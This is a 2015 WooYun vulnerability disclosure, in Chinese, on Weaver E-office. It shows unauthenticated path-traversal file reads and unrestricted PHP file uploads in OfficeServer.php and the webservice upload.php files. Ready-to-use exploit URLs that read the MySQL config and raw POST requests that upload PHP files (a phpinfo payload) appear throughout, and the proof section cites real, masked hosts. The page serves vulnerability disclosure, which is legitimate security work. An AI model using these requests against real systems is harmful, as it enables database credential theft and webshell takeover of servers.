当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2015-125638

漏洞标题: 泛微Eoffice 某2个文件多处任意文件读取/多处任意文件上传可直接getshell

相关厂商: 泛微E-office

漏洞作者: Bear baby

提交时间: 2015-07-11 16:31

公开时间: 2015-10-11 14:52

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 18

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-11: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-06: 细节向核心白帽子及相关领域专家公开
2015-09-16: 细节向普通白帽子公开
2015-09-26: 细节向实习白帽子公开
2015-10-11: 细节向公众公开

简要描述:

第二发来临。。老师在给我们放电影。。赶紧发完,嘻嘻。

详细说明:

某2个文件多处任意文件读取

文件位置:

code 区域
/iWebOffice/OfficeServer.php
/iWebOffice/OfficeServer2.php



这两个文件是IwebOffice控件的一个操作文件,经对比代码完全一样。估计又是copy出来的。代码比较长,只贴相关代码

1.第一处读取任意文件。相关代码如下

code 区域
$mOption = $OPTION;
switch ( $mOption )
{
case "LOADFILE" :
$mRecordID = $RECORDID;
$mUserName = $USERNAME;
$mFileName = $_REQUEST['FILENAME'];
$mFileType = $FILETYPE;
$mFullPath = $mFilePath."/".$mFileName;
$result = $MsgObj->MsgFileLoad( $mFullPath );
if ( !$result )
{
$MsgObj->MsgError( $_lang['file_file_not_exist'].$mFullPath );
}
else
{
$MsgObj->SetMsgByName( "STATUS", $_lang['file_open_success']."!" );
}
break;





通过$OPTION进入LOADFILE流程。$mFileName = $_REQUEST['FILENAME'];文件名通过REQUEST提交,且控件$MsgObj->MsgFileLoad( $mFullPath )读取文件没有进行判断。所以造成可读取任意文件。

默认读取目录为/attachment/所以我们构造访问地址如

iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini

如下图

1.png





第二处任意文件读取,相关代码如下:

code 区域
case "LOADTEMPLATE" :
$mTemplate = $TEMPLATE;
$mFileType = $FILETYPE;
$mCommand = $COMMAND;
if ( $mCommand == "INSERTFILE" )
{
$MsgObj->MsgTextClear( );
$result = $MsgObj->MsgFileLoad( $mFilePath."/".$mTemplate );
if ( !$result )
{
$MsgObj->MsgError( "File not exists ".$mFilePath."/".$mTemplate );
}
else
{
$MsgObj->SetMsgByName( "STATUS", $_lang['file_open_success']."!" );
}
}



通过$OPTION进入的是LOADTEMPLATE流程。

$mTemplate = $TEMPLATE;

$mCommand = $COMMAND;

TEMPLATE为要读取的文件名,当COMMAND为INSERTFILE时进入

$MsgObj->MsgFileLoad( $mFilePath."/".$mTemplate );

同上没有进行验证过滤等操作,造成任意文件读取。

默认读取目录为/attachment/所以我们构造访问地址如

iweboffice/officeserver.php?OPTION=LOADTEMPLATE&COMMAND=INSERTFILE&TEMPLATE=../mysql_config.ini

如下图

2.png





第三处

code 区域
case "GETFILE" :
$mRecordID = $RECORDID;
$mLocalFile = $LOCALFILE;
$mRemoteFile = $REMOTEFILE;
$mFilePath = $mFilePath."/".$mRemoteFile;
$MsgObj->MsgTextClear( );
if ( $MsgObj->MsgFileLoad( $mFilePath ) )
{
$MsgObj->SetMsgByName( "STATUS", $_lang['file_save_fail']."!" );
$MsgObj->MsgError( "" );
}
else
{
$MsgObj->MsgError( $_lang['file_save_fail']."!" );
}
break;



同样的问题,不再详细分析。构造地址

/iweboffice/officeserver.php?OPTION=GETFILE&REMOTEFILE=../mysql_config.ini

如下图

3.png





二。某文件多处任意文件上传,可直接getshell

第一处,相关代码如下

code 区域
case "SAVEFILE" :
$mRecordID = $RECORDID;
$mUserName = $USERNAME;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mDescript = $DESCRIPT;
$mFileDate = $FileDate;
$mFullPath = $mFilePath."/".$mFileName;
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}



表单可以自行构造一下。OPTION为SAVEFILE,FILENAME是保存的文件名可以自己命名。

Fiddler抓包如下

code 区域
POST **.**.**.**:8082/iweboffice/officeserver.php?OPTION=SAVEFILE&FILENAME=abc.php HTTP/1.1
Host: **.**.**.**:8082
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: USER_NAME_COOKIE=admin; LOGIN_LANG=cn
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------10267625012906
Content-Length: 215

-----------------------------10267625012906
Content-Disposition: form-data; name="MsgFileBody"; filename="1.php"
Content-Type: application/php

<?php phpinfo();?>
-----------------------------10267625012906--



如下图。

4.png



第二处 相关代码如下

code 区域
case "SAVETEMPLATE" :
$mRecordID = $TEMPLATE;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mFullPath = $mFilePath."/".$mRecordID.$mFileType;
$mDescript = $DESCRIPT;
$mFileDate = $FileDate;
$mUserName = $UserName;
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}



OPTION为SAVETEMPLATE,TEMPLATE是文件名可以自己命名。

Fiddler抓包如下

code 区域
POST **.**.**.**:8082/iweboffice/officeserver.php?OPTION=SAVETEMPLATE&TEMPLATE=cba.php HTTP/1.1
Host: **.**.**.**:8082
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: USER_NAME_COOKIE=admin; LOGIN_LANG=cn
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------10267625012906
Content-Length: 215

-----------------------------10267625012906
Content-Disposition: form-data; name="MsgFileBody"; filename="1.php"
Content-Type: application/php

<?php phpinfo();?>
-----------------------------10267625012906--



5.png



那串STATUS是base64编码,内容为文件的物理路径如下图

6.png





以下还有4处,基本思路和上面的完全一样,构造参数不一样而已,不再详细叙述过程,只贴相关代码,可自行测试。

第三处

code 区域
case "SAVEASHTML" :
$mFileName = $HTMLNAME;
$mDirectory = $DIRECTORY;
$MsgObj->MsgTextClear;
if ( trim( $mDirectory ) == "" )
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTML/".$mFileName;
}
else
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTML/".$mDirectory."/".$mFileName;
$MsgObj->MakeDirectory( $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTML/".$mDirectory );
}
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}



第四处

code 区域
case "SAVEIMAGE" :
$mFileName = $HTMLNAME;
$mDirectory = $DIRECTORY;
$MsgObj->MsgTextClear;
if ( trim( $mDirectory ) == "" )
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTMLIMAGE/".$mFileName;
}
else
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTMLIMAGE/".$mDirectory."/".$mFileName;
$MsgObj->MakeDirectory( $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTMLIMAGE/".$mDirectory );
}
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}



第五处

code 区域
case "UPDATEFILE" :
$mRecordID = $RECORDID;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mFileDate = date( "Y-m-d H:i:s" );
$mUserName = $mUserName;
$mDescript = "定稿版本";
$MsgObj->MsgTextClear;
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}



第六处

code 区域
case "PUTFILE" :
$mRecordID = $RECORDID;
$mLocalFile = $LOCALFILE;
$mRemoteFile = $REMOTEFILE;
$mFilePath = $mFilePath."/".$mRemoteFile;
$MsgObj->MsgTextClear( );
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFilePath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}





文件位置:

/webservice/upload/upload.php

/webservice-json/upload/upload.php

/webservice-xml/upload/upload.php

这三处文件经过对比内容完全一样,估计程序猿童鞋直接copy一下就使用。相关代码如下:



code 区域
<?php
include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
if ( !( $pos === false ) )
{
echo "false";
}
else
{
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}
}
?>



依然没有任何过滤,保存路径如下

code 区域
$path = $ATTACH_PATH.$attachmentID;
$fileName = $path."/".$_FILES['file']['name'];
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );



构造个上传表单如下:

code 区域
<form action="http://网站地址/ webservice/upload/upload.php" form enctype="multipart/form-data"  method="POST">
<input name="file" type="file">
<input name="" type="submit">
</form>



对应Fiddler抓包

code 区域
POST **.**.**.**:8082/webservice/upload/upload.php HTTP/1.1
Host: **.**.**.**:8082
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: USER_NAME_COOKIE=admin; LOGIN_LANG=cn
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------10267625012906
Content-Length: 208

-----------------------------10267625012906
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/php

<?php phpinfo();?>
-----------------------------10267625012906--



如下图:

返回目录名和文件名,对应路径即/attachment/3704096226/1.php

7.jpg









漏洞证明:

**.**.**.**:8082 //案例还是从别人那找的,嘻嘻



8.png







**.**.**.**:8082



9.png

修复方案:

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-07-13 14:50

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-07-09 16:36 | 浮萍 ( 普通白帽子 | Rank:1030 漏洞数:200 | 沉淀)
    0

    总结一下,我也去来一发

登录后才能发表评论,请先 登录